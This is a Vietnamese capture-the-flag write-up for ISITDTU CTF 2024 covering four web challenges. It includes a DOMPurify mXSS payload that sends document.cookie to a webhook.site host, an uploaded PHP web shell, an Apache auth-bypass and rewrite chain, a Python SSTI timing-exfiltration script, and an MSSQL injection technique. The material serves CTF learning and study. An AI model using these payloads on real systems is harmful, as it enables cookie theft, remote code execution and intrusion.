# ISITDTU CTF 2024
## X ét ét
Đây là một challenge XSS có sử dụng dompurify 3.1.6 làm filter ngăn chặn XSS.
Vì challenge sử dụng dompurify 3.1.6 và đây là một challenge XSS nên có thể tại phiên bản 3.1.6 có sẽ có bug và được fix tại phiên bản sau đó 3.1.7.
https://github.com/cure53/DOMPurify/releases/tag/3.1.7

Để ý dòng 1 và 5, phiên bản đã fix lại comment detection, việc bypass với một số config đặc biệt và foreignObject element. Vì vậy có thể tận dụng những thứ này để bypass XSS đối với phiên bản 3.1.6
Search một hồi em tìm được PoC sau của [@masatokinugawa](https://github.com/masatokinugawa)
https://masatokinugawa.github.io/xss/dompurify_3.1.6_foreignObject_bypass.html
Sau khi được hint thì em thấy vector sử dụng để bypass filter XSS tại challenge này là mXSS. Đây là vector XSS tận dụng việc tự động sửa lỗi trong quá trình parse HTML với các tag HTML không hợp lệ (tham khảo quá trình sửa lỗi khi parse HTML tại [đây](https://scientyficworld.org/what-does-html-parsing-mean/)).Cụ thể quá việc handle lỗi trong quá trình parse HTML sẽ cố gắng khôi phục lại các HTML tag bị sai syntax.Ví dụ:


Ở ví dụ trên, thẻ h1 đã bị lỗi nhưng qua quá trình handle lỗi khi parse HTML của trình duyệt thì lại trở thành một thẻ h1 hoàn thiện.
Vì vậy em có thể tạo ra các tag HTML bị lỗi để bypass được filter và tận dụng quá trình sửa lỗi trên để parse HTML trên trình duyệt một cách hợp lệ. Chi tiết về mXSS xem tại [đây](https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code/).
Bằng việc tận dụng kĩ thuật này em có thể bypass được filter của dompurify 3.1.6


Payload:
```
<svg><a><foreignobject><a><table><a></table><style><!--</style></svg><a id="-><img src onerror=fetch('https://webhook.site/9304ff65-b2f9-4e4b-8eb9-58edf4866d8f' + document.cookie)>">.
```

**FLAG: ISITDTU{d364c13b91d3bd0ecb3ffed49b229fc06b1208e8}**
## s1mple
### Phân tích
Check thử https://hub.docker.com/u/servertest2008 thì em thấy được có 2 repo:

Hướng ở đây là xem 2 repo này có gì khác nhau không để tìm ra hướng exploit.
Sau khi build challenge qua Docker thì em nhận thấy một điều là challenge dùng Apache/2.4.18 và mod [dump_io](https://httpd.apache.org/docs/2.4/mod/mod_dumpio.html), mod [rewrite](https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html), mod [proxy](https://httpd.apache.org/docs/2.4/mod/mod_proxy.html).

```
root@b3d2eb89c100:~# ls /etc/apache2/mods-enabled/
access_compat.load authn_core.load authz_user.load deflate.load env.load mpm_event.conf proxy.conf setenvif.conf
alias.conf authn_file.load autoindex.conf dir.conf filter.load mpm_event.load proxy.load setenvif.load
alias.load authz_core.load autoindex.load dir.load mime.conf negotiation.conf proxy_fcgi.load status.conf
auth_basic.load authz_host.load deflate.conf dump_io.load mime.load negotiation.load rewrite.load status.load
root@b3d2eb89c100:~# apache2 -v
Server version: Apache/2.4.18 (Ubuntu)
Server built: 2020-08-12T21:35:50
```
Về mod_dumpio, đây là một mod cho phép logging toàn bộ input nhận được bởi Apache và toàn bộ output được gửi bởi Apache vào error.log. Để kích hoạt mod này, nó phải được compile và load vào Apache config. Ngoài ra, mod_dumpio cần đucợ config tới LogLevel trace7.

Kiểm tra nào:
```
root@b3d2eb89c100:/etc/apache2# cat apache2.conf
# This is the main Apache server configuration file. It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
....
LogLevel dumpio:trace7
DumpIOInput On
DumpIOOutput On
```
Check thử xem log có bị xóa hay không?
```
root@b3d2eb89c100:/var/log/apache2# ls
access.log access_php.log error.log error_php.log other_vhosts_access.log
```
Author không hề xóa log, điều này có thể giúp ích trong việc exploit.
Ngoài ra phiên bản php sử dụng cho challenge là PHP 7.0.33
```
root@b3d2eb89c100:/etc/apache2# php -v
PHP 7.0.33-0ubuntu0.16.04.16 (cli) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2017 Zend Technologies
with Zend OPcache v7.0.33-0ubuntu0.16.04.16, Copyright (c) 1999-2017, by Zend Technologies
```
Và cho phép .htaccess tại document root:
```
root@b3d2eb89c100:/etc/apache2/sites-available# cat 000-default.conf
<VirtualHost *:80>
DocumentRoot /var/www/html/src
<FilesMatch "\.php$">
SetHandler "proxy:unix:/run/php/php7.0-fpm.sock|fcgi://localhost/"
</FilesMatch>
<Proxy "fcgi://localhost/" enablereuse=on max=10>
</Proxy>
<Directory /var/www/html/src/>
Options FollowSymLinks
AllowOverride All
</Directory>
RewriteEngine On
RewriteRule ^/website-(.*).doc$ /$1.html
RewriteCond %{REQUEST_METHOD} OPTIONS
RewriteRule ^(.*)$ $1 [R=200,L]
ErrorLog ${APACHE_LOG_DIR}/error_php.log
CustomLog ${APACHE_LOG_DIR}/access_php.log combined
</VirtualHost>
```
Bắt đầu tìm kiếm trong source code, em tìm thấy 1 file **.htaccess**
```
<Files "admin.php">
AuthType Basic
AuthName "Admin"
AuthUserFile "/.htpasswd"
Require valid-user
</Files>
<Files "adminer.php">
AuthType Basic
AuthName "Admin"
AuthUserFile "/.htpasswd"
Require valid-user
</Files>
<Files "xmlrpc.php">
AuthType Basic
AuthName "Admin"
AuthUserFile "/.htpasswd"
Require valid-user
</Files>
<Files .env>
Order allow,deny
Deny from all
</Files>
```
File này được tạo bởi root yêu cầu người dùng xác thực khi truy cập tới admin.php, adminer.php, xmlrpc.php, tham khảo thêm tại [đây](https://www.digitalocean.com/community/tutorials/how-to-set-up-password-authentication-with-apache-on-ubuntu-14-04). Thông tin xác thực nằm trong AuthUserFile là /.htpasswd. Đây cũng là file chứa flag.
Đọc source code file admin.php:
```
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Page</title>
</head>
<body>
<h1>Welcome to the Admin Page</h1>
<?php
error_reporting(0);
if (isset($_GET['pages']) && !empty($_GET['pages']))
{
$page = "./pages/" . $_GET['pages'] . ".html";
include($page);
}
else
{
echo '<a href="?pages=1"> Link </a>';
}
?>
</body>
</html>
```
File này có hàm include() -> Hướng tới vector LFI.
```
$page = "./pages/" . $_GET['pages'] . ".html";
```
Nhìn vào biến page, hướng đầu tiên em nghĩ là dùng null-byte(%00) hay path truncation tuy nhiên những phương pháp này đã không còn sử dụng được từ bản 5.X.X(không nhớ nữa @@).
Tới đây thì stuck... Em có đang bỏ xót điều gì không ta? Không biết author có để lại gì không?
Thử xem trong thư mục /root:
Có vẻ author đã cố tình không xóa .bash_history để làm hint. Vào đọc .bash_history xem có gì:
```
vi /etc/apache2/.htpasswd
nano /etc/apache2/.htpasswd
rm /etc/apache2/.htpasswd
cd
git clone https://github.com/anouarbensaad/vulnx.git
apt install python3-pip
apt update
apt install python3 python3-pip
ls
cd vulnx/
ls
pip3 install -r requirements.txt
./install.sh
bash install.sh
apt install sudo
./install.sh
vi install.sh
nano install.sh
./install.sh
cd /usr/share/vulnx/
ls
cat install.sh
nano install.sh
ls
cd
ls
rm -rf vulnx/
cd /usr/share/vulnx/
ls
cd shell/
ls
mkdir cat VulnX.php
ls
mkdir uploads
chmod 777 uploads/
ls -la
rm -r uploads/
mkdir uploads
cd uploads/
l
ls
touch shell.php
chmod 777 shell.php
ls -la
ls
cd ..
ls
vi VulnX.php
nano VulnX.php
ls
cat uploads/shell.php
ls
nano uploads/
nano uploads/shell.php
nano VulnX.gif
nano VulnX.html
nano VulnX.php.mp4
nano VulnX.php.png
ls cat/
file
nano VulnX.zip
ls
ls -la
cd uploads/
ls -la
ls
ls -la
cat shell.php
ls -la shell.php
nanno shell.php
nano shell.php
ls
nano shell.php
cd
ls
cd /var/www/html/
ls
vi src/.htaccess
nano src/.htaccess
ls /etc/apache2/.htpasswd
exit
cat /usr/share/vulnx/shell/uploads/shell.php
cat /usr/share/vulnx/shell/uploads/shell.php
cat /.flag
cd /var/www/html/
ls
cd src/
ls
vi admin.php
apt intall vim
apt install vim
ls
vi admin.php
cat admin.php
ls
cd /usr/share/vulnx/
ls
cd shell/
ls
cd uploads/
ls
mv shell.php shell.html
ls -la
cd ..
ls
ps aux
cd
ls
cd /var/www/html/
ls
cd src/
ls
cat admin.php
cat .htaccess
cat /root/.htpasswd
vi .htaccess
ls /usr/share/vulnx/shell/uploads/shell.html
ls -la /usr/share/vulnx/shell/uploads/shell.html
cat /usr/share/vulnx/shell/VulnX.php
....
cat /usr/share/vulnx/shell/VulnX.php
ls /usr/share/vulnx/shell/VulnX.php
ls /usr/share/vulnx/shell/uploads/
cat /usr/share/vulnx/shell/uploads/shell.html
cd
ls
ks
ls
ls -la /
cat /.flag
rm /.flag
ls
ls -la .htpasswd
cat /.htpasswd
ls
ls -la
cat .htpasswd
rm .htpasswd
ls
cd /
ls
ls -la /
cat start.sh
exit
ls
cd /var/www/html/
ls
cd src/
ls
cat /etc/apache2/sites-available/000-default.conf
ls
vi about.html
ls
cat index.php
mv index.php index.html
vi index.html
ls
vi index.html
vi contact.html
exit
cat /.htpasswd
sudo a2enmod dumpio
a2enmod dumpio
a2enmod dump_io
vi /etc/apache2/apache2.conf
sudo systemctl restart apache2
service apache2 restart
cat /var/log/apache2/error.log
cat /var/log/apache2/access_php.log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_php.log
exit
```
Để ý thấy author có vẻ đã clone repo https://github.com/anouarbensaad/vulnx và nhận thấy trong repo này có một số file khả nghi

Nó lại rất giống với một số file sau trong **.bash_history**:
```
ls /usr/share/vulnx/shell/uploads/shell.html
ls -la /usr/share/vulnx/shell/uploads/shell.html
cat /usr/share/vulnx/shell/VulnX.php
```
Vào xem **/usr/share/vulnx/shell**:
```
root@b3d2eb89c100:/usr/share/vulnx/shell# ls
VulnX.gif VulnX.html VulnX.php VulnX.php.mp4 VulnX.php.png VulnX.txt VulnX.zip __init__.py cat uploads
```
Đây là các file clone từ repo github trên thì nhận thấy file VulnX.php có chứa một đoạn PHP như sau:
```
<html>
</html>
<?php
error_reporting(0);
set_time_limit(0);
if($_GET['Vuln']=="X"){
echo "<center><b>Uname:".php_uname()."<br></b>";
echo '<font color="black" size="4">';
if(isset($_POST['Submit'])){
$filedir = "uploads/";
$maxfile = '2000000';
$mode = '0644';
$userfile_name = $_FILES['image']['name'];
$userfile_tmp = $_FILES['image']['tmp_name'];
if(isset($_FILES['image']['name'])) {
$qx = $filedir.$userfile_name;
@move_uploaded_file($userfile_tmp, $qx);
@chmod ($qx, octdec($mode));
echo" <a href=$userfile_name><center><b>Uploaded Success ==> $userfile_name</b></center></a>";
}
}
else{
echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>';
}
echo '</center></font>';
}
?>
```
Oh, tại đây em tìm thêm được 1 vector khác là File upload Vuln -> RCE.
Để ý quay lại log file, có hai điểm mấu chốt cần để ý:
1. Manh mối cho việc bypass auth:
```
172.17.0.1 - - [29/Aug/2024:08:07:09 +0000] "GET /admin.php%3fa.php?pages=/etc/passwd%00 HTTP/1.1" 200 514 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"
172.17.0.1 - - [29/Aug/2024:08:07:28 +0000] "GET /admin.php%3fa.php?pages=../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 520 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"
```
> admin.php%3fa.php?pages= .... (tại sao lại là admin.php%3fa.php)
2. Manh mối cho sử dụng vector file upload vuln:
```
172.17.0.1 - - [05/Sep/2024:04:00:14 +0000] "GET /website-/usr/share/vulnx/shell/VulnX.php%3f.doc&Vuln=X&a HTTP/1.1" 404 490 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
172.17.0.1 - - [05/Sep/2024:04:00:29 +0000] "GET /website-/usr/share/vulnx/shell/VulnX.php%3f.doc?Vuln=X&a HTTP/1.1" 200 284 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
172.17.0.1 - - [05/Sep/2024:04:00:41 +0000] "GET /website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.doc HTTP/1.1" 200 503 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
172.17.0.1 - - [05/Sep/2024:04:00:56 +0000] "POST /website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.doc HTTP/1.1" 200 462 "http://127.0.0.1:8888/website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.doc" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
```
> Ủa? Không tận dụng LFI nhưng tại sao author vẫn có thể access được tới /usr/share/vulnx/shell/VulnX.php? /website- : nó là gì vậy ?
Trả lời được những câu hỏi này challenge sẽ được giải quyết thành công.
### Exploit
Phân tích rất nhiều và giờ là bước exploit.
1. Trước tiên giải quyết vấn đề đầu tiên là bypass được auth:
Thử search keyword như Apache/2.4.18 vulnerability

Để ý thấy "mod_rewrite" có khả năng liên quan đến case hiện tại vì khi đọc config cũng thấy các rewrite rule xuất hiện. Thử search tiếp keyword CVE-2024-39573 analyst:

Ở đây, em thấy một bài blog có liên quan đến CVE này. Để ý đoạn ***Primitive 1-2. ACL Bypass***
Vuln xuất hiện do sự không nhất quán trong cách xử lý **r->filename** giữa các module của Apache. Cụ thể, **mod_proxy** coi **r->filename** là một URL, điều này hợp lý vì chức năng chính của proxy là "forward" request tới các URL khác. Tuy nhiên, vấn đề xảy ra khi các module khác mặc định coi **r->filename** là một đường dẫn tới hệ thống tập tin (filesystem path).Cấu hình này có thể bypass trong default setting của PHP-FPM! Đây cũng là cách phổ biến để cấu hình xác thực trên Apache HTTP Server. Đọc chi tiết tại [đây](https://devco.re/blog/2024/08/09/confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-en/).
Dựa trên bài viết trên em có thể bypass auth như sau:

2. Access file bất kì dựa trên việc lợi dụng Rewrite Rule
Khi đọc config ở /etc/apache2/sites-available/000-default.conf em nhận được một Rule sau:

Phân tích đoạn regex: mở đầu bằng **/website-** sau đó là một chuỗi bất kì tương ứng với $1 và **.doc** sẽ được rewrite thành /$1.html. Điều này có nghĩa em có thể access tới **/usr/share/vulnx/shell/VulnX.php** bằng **/website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.doc** sẽ được rewrite thành **/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.html**

Nice!!!
Giờ thì upload file và RCE(qua include()):


## Another one
Đây là một bài whitebox viết bằng Flask(Python) và database SQLite3.
Flask app này gồm 3 chức năng khá cơ bản là đăng kí, đăng nhập, render template.
Check qua một lượt thì ứng dụng dùng template Jinja2 (đây là một template mặc định của Flask)
Đọc qua một lượt source code, nhận thấy ở route /render:
```
@app.route('/render', methods=['POST'])
def dynamic_template():
token = request.cookies.get('jwt_token')
if token:
try:
decoded = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
role = decoded.get('role')
if role != "admin":
return jsonify(message="Admin only"), 403
data = request.get_json()
template = data.get("template")
rendered_template = render_template_string(template)
return jsonify(message="Done")
except jwt.ExpiredSignatureError:
return jsonify(message="Token has expired."), 401
except jwt.InvalidTokenError:
return jsonify(message="Invalid JWT."), 401
except Exception as e:
return jsonify(message=str(e)), 500
else:
return jsonify(message="Where is your token?"), 401
```
Tại route này, có sự xuất hiện của render_template_string(), đây là một sink thường thấy trong SSTI với [Jinja2](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#lab). Tuy nhiên, để thực hiện SSTI thì phải bypass được điều kiện role là admin.

Tại đây có một thứ rất đang nghi. Tại sao lại có đoạn xử lí data này?

Mặt khác, chức năng đăng kí lại có thể chỉnh sửa trường `role`.

Search google với keyword `ujson vuln` 
https://security.snyk.io/vuln/SNYK-PYTHON-UJSON-2942122

Dựa vào điều này, em có thể tạo được 1 user với role là admin để có thể thực hiện render template.

Exploit script của em:
```
import requests
import sys
import time
BASE_URL = "http://localhost:8082"
username = "thanh"
password = "thanh"
charset = "abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*(){}QWERTYUIOPASDFGHJKLZXCVBNM"
session = requests.session()
def login(username, password):
login_url = f"{BASE_URL}/login"
response = requests.post(login_url, json={"username": username, "password": password})
if response.status_code == 200:
return response.json().get("message")
return None
def extract_flag(cookie):
flag = ""
for i in range(1, 40):
for char in charset:
render_url = f"{BASE_URL}/render"
cookies = {"jwt_token": cookie}
json = {
"template": f"{{{{ cycler.__init__.__globals__.os.popen('result=$(cat /app/* |grep \"ISITDTU\"); [[ \"${{result:{i-1}:1}}\" == \"{char}\" ]] && sleep 5').read() }}}}"
}
try:
start_time = time.time()
response = requests.post(render_url, cookies=cookies, json=json)
elapsed_time = time.time() - start_time
if elapsed_time > 5:
flag += char
sys.stdout.write('\r' + flag)
sys.stdout.flush()
break
else:
sys.stdout.write('\r' + flag + char)
sys.stdout.flush()
except requests.RequestException as e:
print(f"\nRequest failed: {e}")
sys.exit(1)
print("\nFlag extraction complete:", flag)
return flag
cookie = login(username, password)
if cookie:
print("Login successful. Cookie:", cookie)
flag = extract_flag(cookie)
else:
print("Login failed. Check credentials.")
```
## Hero
Đây là một challenge blackbox. Cũng như các web app cơ bản với 2 chức năng đăng kí và đăng nhập.

Đăng kí đăng nhập với credential nothing:nothing
Sau khi đăng nhập thành công, trang web cung cấp em 3 route là /heroes, /old-heroes, /genz
Tới đây, em dirsearch để tránh bị thiếu các route vì đây là bài blackbox nhưng không thu được gì thêm.
Ở route /genz có tham số id có vẻ như đây đơn giản là chức năng hiển thị tác giả qua với tham số id.

Định hướng của em ban đầu đối với tham số này là id. Tuy nhiên thử fuzzing một hồi cũng như dùng cả SQLmap vào đây cũng không có phát hiện gì.
Chuyển sang route /heroes, tại đây e cũng fuzzing các tham số bằng bộ wordlist https://github.com/whiteknight7/wordlist/blob/main/fuzz-lfi-params-list.txt với hi vọng nếu ra được tham số gì đó có giá trị thì sẽ có thể hình thành được các vector như SQL injection, LFI/path traversal hay IDOR nhưng vẫn không thu được gì.
Chỉ còn lại route /old-heroes, em lại tiếp tục thử fuzzing tham số và lần này em nhận được tham số là `name`

Hơn nữa ở đây em thu được một response có vẻ khá hữu ích:

Em nghi ngờ liệu payload có được nối vào một thứ gì không? Dấu hiệu của một lỗ hổng SQLi? Hơn nữa nhìn syntax có kiểu `OldHeroDB..` thì có thể đoán database challenge dùng là MSSQL. Tuy nhiên phần schema không được chỉ định nên dùng `..` tự hiểu là dùng schema `dbo`.


Và có vẻ là SQLi thật. Có một điểm rất em thấy cần lưu ý của bài này là mỗi lần thay đổi với một payload khác nhau lại gây ra lỗi ở vị trí khác nhau. => Payload không chỉ được inject tại một vị trí trong câu truy vấn?







Sau quan sát thì có vẻ truy vấn sẽ có dạng:
```
OldHeroDB..payload.* FROM OldHeroDB..payload WHERE OldHeroDB..payload.Id = 1
```
Đến đây, em có thử sử dụng stacked queries nhưng nó không khả dụng.

Tiếp tục thử thêm một số cách khác(tìm cách để subquery, cheatsheet này nọ luôn) để tìm kiếm điều gì đó nhưng em vẫn stuck.


Tại sao có làm bất kì điều gì thì cũng đẩy ra lỗi nhỉ? Và em được cho một blog https://cyku.tw/no-database-mssql-injection/.
Sau khi đọc blog, em nhận ra một điều, không có database nào tên là OldHeroDB cả, đây cũng là lí do em có làm bất cứ điều gì thì truy vấn cũng đẩy ra lỗi.
Và rồi cũng giống như case mà tác giả blog nói `OldHeroDB..payload` thực ra lại có format là `<table_name>.<column_name>.<something>` chứ không phải theo format `<database_name>.<schema_name>.<column_name>` như em đã nghĩ. Chứng minh cho điều này:


MSSQL sẽ cắt bỏ những khoảng trắng khi mà xử lí tên cột. Dựa vào điều này, em có thể tạo một tên cột với tên là một chuỗi rỗng. Ý tưởng sẽ thực hiện một truy vấn có dạng:
```
SELECT <tên_bảng>..<something> from (SELECT <something> as [ ]) as <tên bảng>-- -
```
Và tên bảng thì chính là bảng ở đây chắc là OldHeroDB rồi, nhưng chọn cái gì làm `something`? Câu trả lời này đã được tác giả của blog trên trả lời luôn. Đó là dùng một đối tượng geometry và SELECT đến property của đối tượng này chính là STX hoặc STY.





Tiếp tục thử, em nhận được bảng với 3 cột là id, hero_name và hero_power. Tới đây thì dùng UNION là xong.



FLAG: `ISITDTU{R3g4in_m0t1vation_w1th_s1mpl3_SQL1}`